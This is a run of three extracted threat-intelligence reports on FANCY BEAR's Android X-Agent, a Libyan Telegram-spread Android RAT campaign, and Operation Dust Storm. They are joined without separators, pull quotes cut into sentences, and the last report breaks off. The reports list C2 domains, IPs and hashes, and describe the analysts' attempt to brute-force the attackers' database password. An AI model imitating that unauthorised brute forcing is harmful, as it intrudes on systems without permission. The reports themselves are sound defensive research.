distributing malware TI M ELINE OF EVENTS DEVELOPMENT AND DISTRIBUTION PROCESS OF THE BENIGN APPLICATION The original application central to this discussion, 30.apk, was initially developed domestically within Ukraine by a member of the 55th Artillery Brigade. Based on the file creation timestamps as well as the app signing process, which occurred on 28 March 2013, CrowdStrike has determined that the app was developed sometime between 20 February and 13 April 2013. Shortly after that time frame, on 28 April 2013, an individual bearing the same name as the application s developer promoted the application on Russian vKontakte3 pages associated with the artillery forces. The promotion of the program was likely limited to social media, and the distribution was controlled from the author s main page, (translation: "Modern combat software").4 As an additional control measure, the program was only activated for use after the developer was contacted and issued a code to the individual downloading the application. No evidence of the application has been observed on the Android app store, making it unlikely that the app was distributed via that platform. The control measures established by the developer to limit the use and proliferation of the 30.apk application, coupled with its unique purpose, make its broad distribution on the Android store improbable. THE ORIGINAL, BENIGN APPLICATION ENABLED ARTILLERY FORCES TO MORE RAPIDLY PROCESS TARGETING DATA FOR THE D-30 HOWITZER REDUCING TARGETING TIME FROM MINUTES DOWN TO 15 SECONDS. At the time of this writing, it is unclear to what degree and for how long this specific application was utilized by the entirety of the Ukrainian Artillery Forces. Based on open source reporting, social media posts, and video evidence, CrowdStrike assesses that 30.apk was potentially used through 2016 by at least one artillery unit operating in eastern Ukraine. RECONNAISSANCE, DEVELOPMENT AND DISTRIBUTION OF THE MALICIOUS APPLICATION R E C O N N AI SSAN CE Given the estimated development timeframe and the promotional period for the benign 30.apk application, the program was likely available online for distribution after late April 2013. CrowdStrike Intelligence assesses that the application likely came to the attention of Russiabased adversaries around this time frame as a result of ongoing Russian reconnaissance associated with the revolution in Ukraine. Actors with a nexus to Russia regularly monitor social media sites in order to better understand or formulate operations against their targets. CrowdStrike Intelligence has noted instances in which some Russia-based actors and attribution front groups have leveraged information obtained from Ukrainian social media sites in order to perform operations. The most notable recent example of this was in the case of extortion-based threats directed against the Polish Government.5 In this particular case, the perpetrators likely sought out openly available account information from a vKontakte page belonging to a Ukrainian citizen, who was soliciting donations to aid volunteer soldiers fighting in eastern Ukraine. The adversary then used this profile information, in conjunction with the name "Pravyy Sector," to make it appear as though the extortion threats against the Polish government were originating from an ultranationalist Ukrainian group. CrowdStrike has assessed that by performing this type of deceptive operation the perpetrator likely sought to make it appear as though Ukrainian interests were threatening the Polish government. In addition, because the individual account hijacked for this operation had been used to try to raise funds for Ukrainian forces, the adversary may have been trying to aggravate Western governments enough to freeze the individual s accounts. The attack did not appear to achieve its intended result. Poland rebuffed the threats, and the owner of the vKontakte page denounced any involvement FOR UKRAINIAN TROOPS, ARTILLERY FORCES HAVE ALSO SHOULDERED A HEAVY COST. IN 2 YEARS OF CONFLICT, THEY HAVE LOST NEARLY 50% OF THEIR ARTILLERY PIECES AND OVER 80% OF D-30 HOWITZERS, FAR MORE THAN ANY OTHER PIECE OF UKRAINIAN ARTILLERY. in the threat. Subsequently the Pravyy Sector group scrubbed their social media page of much of the information associated with this failed operation. This particular incident is an example of how a disinformation operation is staged. While this incident is not likely to be related to the development of the X-Agent Android variant, it demonstrates the reconnaissance and preplanning tactics that precede the rest of a campaign. Development and Distribution CrowdStrike has discovered indications that as early as 2015 FANCY BEAR likely developed X-Agent applications for the iOS environment, targeting "jailbroken" Apple mobile devices. The use of the X-Agent implant in the original 30.apk application appears to be the first observed case of FANCY BEAR malware developed for the Android mobile platform. On 21 December 2014 the malicious variant of the Android application was first observed in limited public distribution on a Russian language, Ukrainian military forum. A late 2014 public release would place the development timeframe for this implant sometime between late-April 2013 and early December 2014. During that proposed development timeframe, a number of significant events unfolded between Ukraine, Russia, and the international community. Most notably, Russian attempts to influence Ukrainian-EU relations resulted in the large-scale, Maidan protest movement, eventually resulting in the ouster of then-president Victor YANUKOVYCH, the invasion and annexation of the Crimean Peninsula by Russia, and the protracted armed conflict in eastern Ukraine. Therefore, the creation of an application that targets some of the front line forces pivotal in Ukrainian defense on the eastern front would likely be a high priority for Russian adversary malware developers seeking to turn the tide of the conflict in their favor. CrowdStrike Intelligence has assessed that the distribution of the malicious application targeted the very artillery units for which the benign application was developed brigades operating in eastern Ukraine on the frontlines of the conflict with Russian-backed separatist forces during the early stages of the conflict in late-2014. This assessment is based on a number of factors, but chief among them is the likelihood that a military member would only trust and use an application designed to calculate CROWDSTRIKE INTELLIGENCE HAS ASSESSED THAT THE DISTRIBUTION OF THE MALICIOUS APPLICATION TARGETED THE VERY ARTILLERY UNITS FOR WHICH THE BENIGN APPLICATION WAS DEVELOPED BRIGADES OPERATING IN EASTERN UKRAINE ON THE FRONTLINES OF THE CONFLICT WITH RUSSIAN-BACKED SEPARATIST FORCES DURINGTHE EARLY STAGES OF THE CONFLICT IN LATE-2014. something as critical as targeting data if it was developed and promoted application could be that targeting may have been directed at pro-Russian by a member of their own forces. The type of operational activity described here suggests an extremely sophisticated understanding of the target that only a skilled adversary would likely possess. By late December 2014, the total number of Russian forces in the region was approximately 10,000 troops.6 Because the Android malware could facilitate gross position information, its successful deployment could have facilitated anticipatory awareness of Ukrainian artillery force troop movement, thus providing Russian forces with useful strategic planning information. Indeed, the 55th Artillery Brigade and similar artillery units operated frequently against pro-Russian separatists in eastern Ukraine. A video posted on 18 October 20157 specifically shows them employing the 30.apk application and operating in the vicinity of eastern Ukraine. The choice of the Russian language character set in the application further underscores the targeting of forces within eastern Ukraine, as Russian is the predominant language utilized in that region. An assessment of languages spoken by region based on the most recent census information illustrates the permeation of the Russian language in that region and highlights the value of providing Russian in the malicious 30.apk application. One alternative theory regarding the use of the Russian language in the L A N G U A G E S S P O K E N R E G I O N WEST CENTER SOUTH EAST DONBASS URKANIAN 92.6% 78.2% 35.3% 37.4% 19.9% URKANIAN & RUSSIAN EQUALLY 2.9% 16.6% 38.4% 34.4% RUSSIAN 4.2% 25.9% 40.4% OTHER 1.6% 5.4% 1.3% 5.2% UNCLEAR Distribution of Russian/Ukrainian Language Use in Ukraine8 forces operating in eastern Ukraine. A relevant and likely counterargument for this theory, however, is that Russian forces likely have employed fire support systems and other technologies that can already calculate targeting data, negating the need for an application to perform this task. Additionally, the application was initially developed by a member of the Ukrainian army. An opposing force would probably not adopt technology developed by the enemy for use on the battlefield. OUTCOMES AND CONCLUSION The eastern Ukrainian front has been markedly impacted by heavy fighting involving Russian troops and pro-Russian rebel fighters deployed to this region. Artillery forces on both sides of the conflict have served an important role. For Ukrainian troops, artillery forces have also shouldered a heavy cost. Open-source reporting indicates losses of almost 50% of equipment in the last 2 years of conflict amongst Ukrainian artillery forces and over 80% of D-30 howitzers were lost, far more than any other piece of Ukrainian artillery 9.9 Between July and August 2014, Russian backed forces launched some of the most decisive attacks against Ukrainian forces, resulting in significant loss of life, weaponry, and territory. According to open sources, Ukrainian service personnel from the 24th and 72nd Mechanized Brigade, as well as the 79th Airborne Brigade, were among the units to have suffered casualties. International monitoring groups later assessed some of the attacks were likely to have come from inside Russian territory.10 A malware-infected 30.apk application probably could not have provided all the necessary data required to directly facilitate the types of tactical strikes that occurred between July and August 2014. Eyewitness accounts from individuals within the impacted units reported seeing an unmanned aerial vehicle (UAV) used in the area prior to one attack, underscoring the need for precise locational data for these particular strikes and introducing the possibility that the Android malware served to support the reconnaissance role of traditional battlefield assets. Although traditional overhead intelligence surveillance and reconnaissance (ISR) assets were likely still needed to finalize tactical movements, the ability of this application to retrieve communications and gross locational data from infected devices, could provide insight for further planning, coordination, and tasking of ISR, artillery assets, and fighting forces. The X-Agent Android variant does not exhibit a destructive function and does not interfere with the function of the original 30.apk application. Therefore, CrowdStrike Intelligence has assessed that the likely role of this malware is strategic in nature. The capability of the malware includes gaining access to contacts, Short Message Service (SMS) text messages, call logs, and internet data, and FANCY BEAR would likely leverage this information for its intelligence and planning value. CrowdStrike Intelligence assesses a tool such as this has the potential ability to map out a unit s composition and hierarchy, determine their plans, and even triangulate their approximate location. This type of strategic analysis can enable the identification of zones in which troops are operating and help prioritize assets within those zones for future targeting. Additionally, a study provided by the International Institute of Strategic Studies determined that the weapons platform bearing the highest losses between 2013 and 2016 was the D-30 towed howitzer.11 It is possible that CROWDSTRIKE INTELLIGENCE ASSESSES A TOOL SUCH AS THIS HAS THE POTENTIAL ABILITY TO MAP OUT A UNIT S COMPOSITION AND HIERARCHY, DETERMINE THEIR PLANS, AND EVEN TRIANGULATE THEIR APPROXIMATE LOCATION the deployment of this malware infected application may have contributed to the high-loss nature of this platform. The development of the X-Agent Android malware represents an expansion of FANCY BEAR capabilities in terms of mobile malware, and illustrates the practical application of full-spectrum combat as envisioned in the eponymous doctrinal writings of General Valery GERASIMOV. As a part of full-spectrum operations in Ukraine, Russia-based adversaries have leveraged malware on the battlefield, in the civil sector, and against critical infrastructure. They have also engaged in aggressive information operations in the media. In relation to this broader picture of Russian computer operations, the approach to targeting mobile smartphone and tablet devices in order to gain strategic insight into communications is a tactic that cannot be disregarded. CrowdStrike assesses that the observed and described X-Agent implant targeting Ukrainian military Android devices running the 30.apk application is likely only the initial iteration of this type of malware. While this malware was initially discovered in a battlefield environment, an adversary could also leverage it in attacks against non-military targets. Mobile devices and internet-connected technology have increasingly proliferated civilian and military organizations. This technique may very likely be deployed in the political, government, or non-governmental sectors in the near future. 1-The name 30.apk is an abbreviated variant of which translates to Correction-D30. 2-For more information, contact CrowdStrike 3-vKontakte is a Russian social media networking site alike in layout and functionality to Facebook. 4-http://programs-art.at.ua 5-For more information, contact CrowdStrike 6-Igor Sutyagin, Russian Forces in Ukraine, Royal United Services Institute, March 2015, https://rusi.org/sites/default/files/201503_bp_ russian_forces_in_ukraine.pdf THE COLLECTION OF SUCH TACTICAL ARTILLERY FORCE POSITIONING INTELLIGENCE BY FANCY BEAR FURTHER SUPPORTS CROWDSTRIKE PREVIOUS ASSESSMENTS THAT FANCY BEAR IS LIKELY AFFILIATED WITH THE RUSSIAN MILITARY INTELLIGENCE (GRU) 7-https://www.youtube.com/watch?v=qp-7e_ZGH8I 8-Data for image circa 2015. Note: These maps do not provide data for Crimea. According to various sources, there are estimates suggesting that, in greater Crimea 80% speak Russian, 10% speak Ukrainian, and 10% speak Tatar. The percentage of Russian speakers is estimated to be higher in Sevastopol, most likely dues to the Russian Naval Base in the region. Source: The Razumkov Center report on "The Ukranian Citizen's Identity in the New Environment: Status, Trends, Regional Differences," 7 June 2016, razumkov.org.ua/upload/identi-2016.pdf. 9-http://thesaker.is/ukrainian-army-losses-in-ato-anti-terrorist-operationaccording-to-the-iisss-military-balance/ 10-For more information, see Origin of Artillery Attacks on Ukrainian Military Positions in Eastern Ukraine between 14 July 2014 and 8 August 2014, "https://www.bellingcat.com/news/uk-and-europe/2015/02/17/ origin-of-artillery-attacks/." Cyberkov Co. Ltd. www.cyberkov.com info@cyberkov.com Hunting Libyan Scorpions Investigating a Libyan Cyber Espionage Campaign Targeting High-Profile Influentials TLP: White For public distribution 18/September/2016 Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Legal Notice: This document is intended for public use and distribution. Unauthorized use or reproduction of this document without referencing Cyberkov is prohibited. This document has been prepared by Cyberkov Co. Ltd. Document Control Document Title TLP Classification Document Version Creation Date Last Modification Date Distribution Reference Hunting Libyan Scorpions White 01/September/2016 18/September/2016 Public Distribution PD-001 Cyberkov Contact Details Name Email Phone Number Fax Number Office Number General query Cyberkov Media Office media@cyberkov.com +965 22445500 +1 (888) 433-3113 +965 22445500 info@cyberkov.com Trademark Cyberkov and the Cyberkov logo are trademarks of Cyberkov Co. Ltd. All other trademarks mentioned in this document are owned by the mentioned legacy body or organization. The general service conditions of Cyberkov Co. Ltd. apply to this documentation, unless it is explicitly specified otherwise. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Table of Contents Document Control ............................................................................................................................................... 1 Cyberkov Contact Details .................................................................................................................................... 1 Executive Summary ............................................................................................................................................. 3 Tactics, Techniques and Procedures (TTPs)......................................................................................................... 4 Malware Analysis................................................................................................................................................. 6 Command and Control Communication............................................................................................................ 21 Sinkhole ......................................................................................................................................................... 21 Real C2 ........................................................................................................................................................... 24 Threat Actor and Attribution ............................................................................................................................. 25 Threat Actors Infrastructure.............................................................................................................................. 29 To Be Continued ............................................................................................................................................. 33 Mitigating Libyan Scorpions Attacks on Android .............................................................................................. 33 Indicators of Compromise (IOCs) ...................................................................................................................... 33 Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Executive Summary Libya maybe known in non-stable political system, civil war and militant groups fighting for the land and oil control but it is definitely not known in cyber malicious activities, cyber espionage and hacking groups. No parties in Libya before this analysis reported to use cyber attacks, malwares nor recruit hackers to spy on their rivals. Today we have a different story. In the past weeks on 6 August 2016, Cyberkov Security Incident Response Team (CSIRT) received a numerous Android malwares operating in different areas in Libya especially in Tripoli and Benghazi. The malware spreads very fast using Telegram messenger application in smartphones, targeting high-profile Libyan influential and political figures. The malware first discovery was after a highly Libyan influential Telegram account compromised via web Telegram using IP address from Spain. The following day, the attackers spread an Android malware binded with legitimate Android application from the compromised Telegram account to all his contacts pretending it is an important voice message (misspelled it by Voice Massege.apk ) which indicates a non-english (maybe an Arabic) attacker. After spreading the malware, more Android smartphones has been infected using the same technique (via Telegram) and then repost the malware again and again making a network of victims. Analysis of this incident led us to believe that this operation and the group behind it which we call Libyan Scorpions is a malware operation in use since September 2015 and operated by a politically motivated group whose main objective is intelligence gathering, spying on influentials and political figures and operate an espionage campaign within Libya. Also, the analysis of the incident led to the discovery of multiple malwares targeting Android and Windows machines. Libyan Scorpions threat actors used a set of methods to hide and operate their malwares. They appear not to have highly technical skills but a good social engineering and phishing tricks. The threat actors are not particularly sophisticated, but it is well-understood that such attacks don t need to be sophisticated in order to be effective. Using malwares as weapon in an active warzone such as Libya, make the victims easy targets for assassination or kidnapping by tracking their physical locations and monitoring them day and night. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Tactics, Techniques and Procedures (TTPs) Libyan Scorpions is believed to be a political motivated group targeting a high-level influential and political figures in multiple cities within Libya. Libyan Scorpions first compromised a personal Telegram account for a Libyan influential person with unknown vector. The victim received a push notification from his Telegram app that someone from Spain is logged into his account: The victim mistakenly deleted Telegram application from his phone thinking that this is going to stop the attacker(s). Second day, the attacker used the victim phone number to spear phish his contacts in Telegram by pretending that the real person is sending a voice message while the file is actually a malicious APK (Android Package) file. This APK file targets only Android-based smartphones. Once the new victim click on the APK file, the application installs itself in the device without any problem and is fully functional. The icon of the application appears in the Apps menu named (URL Shortener). Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions The real malicious code is running in the background as Android service1. https://developer.android.com/guide/components/services.html Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Malware Analysis Cyberkov Security Incident Response Team (CSIRT) started analyzing the APK file (malware) and the first step was to unpack it. After unpacking with apktool and reading (AndroidManifest.xml) file, it appears that the application is a malware injected inside a legitimate application having java package name: de.keineantwort.android.urlshortener. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Searching for the application in Google Play store with that specific package name (https://play.google.com/store/apps/details?id=de.keineantwort.android.urlshortener) yields: Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions The application exists in the store and the Libyan Scorpions hacking group took an instance of the APK and injected their malware into that legitimate application to spread it. The real application is created by keineantwort.de and we have verified it from their main website: Going back to (AndroidManifest.xml) file, the malware register itself as receiver of almost all intents and request almost all permissions available in Android system! Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions The malware can access location, network state, battery status, Bluetooth, camera, capturing audio, internet, , etc. After launching the malicious application for the first time, it checks if the Android device is rooted or not and if rooted, it asks for root permission. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Carrying on the reverse engineering of the malware, we found a file called config.json which is a base64 encoded json file containing the configuration of the malware and its Command and Control (C2). The characteristics of the malware ( a.txt and config.json files) and the functionality of it is very similar to JSocket and AlienSpy famous Android Remote Access Tools (RATs). Decoding the config.json file using base64 decoder shows that the C2 hostname/domain is: winmeif.myq-see.com using the port 64631 Resolving the hostname gives: 41.208.110.46 which is a static Libyan IP address owned by Libya Telecom and Technology Backbone. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Going back to the domain/hostname used by the Libyan Scorpions hacking group, it appears that myqsee.com is a dynamic DNS service open for the public. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Scrolling down the web page, it is created by Q-See which is a company that sells cameras and it seems that Q-See published this service to help their customers to connect to their IP cameras regardless of IP changes. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions The malware uses RootTools and RootShell components to make root privileged tasks easy in Android. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions The picture below showing that the malware is capable of taking pictures from the camera of the compromised device and upload it to the C2. The malware begins by implementing a Trust Manager that accepts all certificates so that Libyan Scorpions hackers are sure no victim left disconnected due to SSL certificates issues. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions The malware is able to turn the Android phone into a remote listening bug by opening the Microphone and recording the audio then send it to the C2. The malware is able to browse the files and folders stored inside the Android device. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions The malware is able to monitor the physical location of the compromised Android device. The malware is able to get the call logs along with phone numbers, duration and date and time of each call. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions The malware is able to read the SMS messages and the list of contacts saved in the device. Besides, the malware is able to get the phone number, country and network operator name from cellular towers of the telecom company of the target. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions The malware uses Allatori Java Obfuscator to protect the code and make it harder to reverse engineer and it obviously uses communication protocol based on Java JSON objects encapsulated in SSL connection wrapper. Again, this behavior and characteristics of the malware is very similar to JSocket and AlienSpy Android RATs. After finalizing the analysis of the Android malware, Cyberkov uploaded it to VirusTotal to see if it has been uploaded before and what information we can get from it: Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Cyberkov discovered that the malware has not been uploaded to VirusTotal before and the first sample of this malware has been uploaded by us. However, 8 out of 54 AntiVirus engines detect it which is a very low detection rate (15%). Most and major American top Gartner Antivirus companies did not detect it!! Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Command and Control Communication Cyberkov tried to discover the attacker behind this malicious application by sinkholing the malware and analyzing the real C2. Sinkhole Cyberkov created a fake server simulating the real C2 of the Libyan Scorpions hacking group and sinkholed the malware to study the behavior of the malware deeply. Upon connection to the C2, the malware sends a lot of information about the target including: Country, Malware Path, Local IP Address, RAM, Android Version, Device Name, , etc. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions The fake C2 server is able to send fake commands to the malware and read the reply as well. Those commands (103, 104 and 105) correspond to the following list of commands defined in the malware: Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Each number corresponds to one command to be done by the malware. For example, the command (111) uninstalls the real application URLShortener Will result in: Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Real C2 By connecting to the real C2 IP address, Cyberkov found that the malware is really of JSocket/AlienSpy family of RATs since that family of RATs open the port 1234 with a self-signed certificate of assylias According to Shodan, the port (1234) has been spotted open since 12-07-2016 which is 25 days before the first discovery. https://www.fidelissecurity.com/sites/default/files/FTA_1019_Ratcheting_Down_on_JSocket_A_PC_and_Android_Thre at_FINAL.pdf Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Threat Actor and Attribution Seems like the Libyan Scorpions threat actors are running multiple Android RATs since numerous ports protected by SSL layer are open in (winmeif.myq-see.com) machine. Also, the Libyan Scorpions threat actors left phpinfo.php script on the webserver running on port 80 with useful information that could expose them. Their machine is running Windows 7 Professional Service Pack 1. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Username of the Windows machine is admin. The computer name of Windows machine is ADMIN. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions The Libyan Scorpions threat actors use a Dell laptop and have Skype installed and are setting behind a NAT and their internal IP address is 192.168.1.16 The attackers also have a PhpMyAdmin script installed in their machine: Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Cyberkov Security Incident Response Team (CSIRT) tried to brute force the password of the database using the top most common 100 passwords. Unfortunately, the attempt failed. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions Threat Actors Infrastructure Going back to the IP address of the attackers (41.208.110.46), it is very important to discover the attackers infrastructure that maybe used to launch wider attacks using multiple RATs on multiple platforms. By using Threat Intelligence Platforms and Feeds such as PassiveTotal, Cyberkov was able to discover more activities and campaigns run by Libyan Scorpions. The following Heatmap shows that the IP address (41.208.110.46) has been used to launch attacks since 9/9/2015 until the time of writing this report using 5 different hostnames and multiple malicious malwares. The following table summarizes the list of hostnames used by the attacker(s): Hostname Samsung.ddns.me Wininit.myq-see.com Winmeif.myq-see.com Collge.myq-see.com Sara2011.no-ip.biz First Seen 26-04-2016 24-05-2016 07-08-2016 09-09-2015 08-10-2015 Last Seen 08-09-2016 22-08-2016 22-08-2016 22-08-2016 08-10-2015 Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions All of the hostnames point to the same C2 IP address used by the attackers (but sara2011.no-ip.biz): Also, using PassiveTotal, the C2 is connected to 2 more malwares used by the attackers having the following hashes (MD5): 1738ecf69b8303934bb10170bcef8926 93ebc337c5fe4794d33df155986a284d The first hash in the above picture is for the malware Voice Massege.apk which we have analyzed already. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions The second hash (1738ecf69b8303934bb10170bcef8926) is named (Benghazi.exe) and have detection rate of 21 out of 56 (37.5%) and has been uploaded first time to VirusTotal on 23-04-2016. Notice that this malware targets Windows machines and not Android smartphones. It is compiled on 15-042016 and is coded in Visual Basic. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions The third hash (93ebc337c5fe4794d33df155986a284d) is a DroidJack, a malicious attacking platform, targeting android smartphones. Also, the name of activities and services contains net.droidjack.server name which makes us sure it is DroidJack malware. Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com Hunting Libyan Scorpions To Be Continued Cyberkov will continue investigating Libyan Scorpions hacking group operating in Libya and will update this report with a follow-up reports regarding any future cyber activities. Mitigating Libyan Scorpions Attacks on Android Cyberkov recommends the following points in order to protect the victims from such malwares: Update your Android operating system regularly Install DrWeb Security Space for Android (A leading Russian AntiVirus Company) Use of DrWeb Telegram Bot (DrWebBot) to scan links and files shared on Telegram chats or groups Install Zemana Mobile AntiVirus (A leading Turkish AntiMalware and AntiFraud Company) Never install applications from unknown sources Use Telegram with Secret Chat feature only Always verify with your partners when sending and receiving files Indicators of Compromise (IOCs) The following table summarizes the list of indicators to detect the malware: Type Sha256 Sha256 Sha256 Sha1 Sha1 Sha1 Filename Filename Filename Domain Domain Domain Domain Domain Indicator 9d8e5ccd4cf543b4b41e4c6a1caae1409076a26ee74c61c148dffd3ce87d7787 4e656834a93ce9c3df40fe9a3ee1efcccc728e7ea997dc2526b216b8fd21cbf6 e66d795d0c832ad16381d433a13a2cb57ab097d90e9c73a1178a95132b1c0f70 1738ecf69b8303934bb10170bcef8926 93ebc337c5fe4794d33df155986a284d 1c8a1aa75d514d9b1c7118458e0b8a14 41096b7f808a91ee773bbba304ea2cd0fa42519d 46d832a9c1d6c34edffee361aca3de65db1b7932 2e2d1315c47db73ba8facb99240ca6c085a9acbc Voice Massege.apk Benghazi.exe VPN.apk 41.208.110.46 winmeif.myq-see.com Wininit.myq-see.com Samsung.ddns.me Collge.myq-see.com Sara2011.no-ip.biz Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com DUST STORM O P E R AT I O N By Jon Gross and the Cylance SPEAR Team OPERATION DUST STORM TABLE OF CONTENTS Nothing strengthens authority so much as silence. -Leonardo da Vinci Executive Summary The Early Days: Spear Phishing Identity Crisis: Zero-Day Attacks Into the Future: Japanese Targets Here and Now: Companies Compromised Conclusion Implant Analysis: Misdat Backdoor (2010-2011) MiS-Type Hybrid Backdoor (2012) S-Type Backdoor (2013-2014) Zlib Backdoor (2014-2015) Appendix EXECUTIVE SUMMARY Cylance SPEAR has uncovered a long-standing persistent threat targeting numerous major industries spread across Japan, South Korea, the United States, Europe, and several other Southeast Asian countries. The Early Days: Spear Phishing The earliest indications of the group s activities stem from the compile times of the executable resource section of Misdat samples. All of the early backdoor samples were compiled using a version of Delphi which notoriously mangles the compilation timestamp of the file to June 19, 1992 22:22:17 UTC. By using the executable resource section timestamp, SPEAR was able to more accurately gauge the actual compile times of these samples, and traced one of them, "bc3b36474c24edca4f063161b25bfe0c90b378b9c19c to January 2010.1 Power comes in many forms Our research indicates Operation Dust Storm has been operational since at least early 2010, and has employed a number of different operational techniques, including spear phishing, waterholes, and zero-day exploits over time. Several antivirus companies initially detected early backdoor samples under the moniker Misdat, but the group has quietly evolved over the years to remain undetected and highly effective. Attack telemetry in 2015 indicates the Dust Storm group has migrated from more traditional government and defense-related intelligence targets to exclusively seek out organizations involved in Japanese critical infrastructure and resources. The group recently compromised a wide breadth of victims across the following industry verticals: electricity generation, oil and natural gas, finance, transportation, and construction. SPEAR s current research indicates the group s present focus has shifted to specifically and exclusively target Japanese companies or Japanese subdivisions of larger foreign organizations. During analysis of older command and control infrastructure, there were several domains that resolved to known malicious IP addresses in September 2009. However, SPEAR was not able to corroborate these dates in any known malware samples. OPERATION DUST STORM Very little public information was available throughout 2010 on this threat, despite the group s primary backdoor gaining some level of prominence in targeted Asian attacks. This may be explained by the group s early reliance on Dynamic DNS domains for their command and control (C2) infrastructure, as well as their use of public RATs like Poison Ivy and Gh0st RAT for second-stage implants. The actors relied heavily on the free Dynamic DNS providers No-IP (http://www.noip.com), Oray (http:// www.oray.com/) and 3322 (http://www.pubyun.com/) for their infrastructure continuing into 2011; the earliest known backdoors SPEAR identified communicated to 323332.3322.org and 1stone.zapto.org It wasn t until June 2011 that Operation Dust Storm started to garner some notoriety from a series of attacks which leveraged an unpatched Internet Explorer 8 vulnerability, CVE-2011-1255, to gain a foothold into victim networks. In these attacks, a link to the exploit was sent via a spear phishing email from a purported Chinese student seeking advice or asking the target a question following a presentation. Media coverage of these attacks included http://www.symantec.com/connect/ blogs/inside-back-door-attack , 2 and http://asec.ahnlab. com/730 which named the early backdoor variants Misdat The secondary C2 server from Symantec s writeup was mentioned in news reports elsewhere as honeywells.tk this domain resolved to 111.1.1.66 during early June 2011. This address is coincidentally the same IP address that one of the earliest Misdat samples that SPEAR identified beaconed to during the same timeframe. A paper published in August 2011 by Ned Moran via Usenix (https://www.usenix.org/system/files/login/articles/ 105484-Moran.pdf) described in detail an attack by this threat group during April 2011. The attack was initiated by a spear phishing email that contained a Word document embedded with a zero-day Flash exploit (CVE-2011-0611). The final payload described in the report matched other confirmed Misdat samples, and beaconed to msejake.7766. , which first resolved to 125.46.42.221 , then later to 218.106.246.220 at the time of the attack. As to other documented cases, the attacker started interacting with the infected machine within minutes of compromise to begin manual network and host enumeration. In October 2011, the group attempted to take advantage of the ongoing Libyan crisis at the time and phish the news cycle regarding Muammar Gaddafi s death on October 20, 2011. It appears that in addition to some US defense targets, this campaign was also directed at a Uyghur mailing list. This time, the group used a specially crafted malicious Windows Help (.hlp) file, which exploited CVE2010-1885. The hlp files, when opened, would execute a piece of JavaScript code via mshta.exe , which in turn launched a second piece of Visual Basic Script using the Windows scripting host. This secondary piece of VBS code was then responsible for decoding the payload from the body of the hlp file and executing it. The first stage payloads used in these attacks were Misdat variants stored base64 encoded within the hlp file. The samples SPEAR identified both communicated to the domain msevpn.3322.org , which resolved to the IP address 218.106.246.195 at that time. Pivoting off of this IP address yielded several additional dynamic DNS domains that were used for command and control, as well as several standard domains that were used by the group from May 2010 up until December 2015. Registration 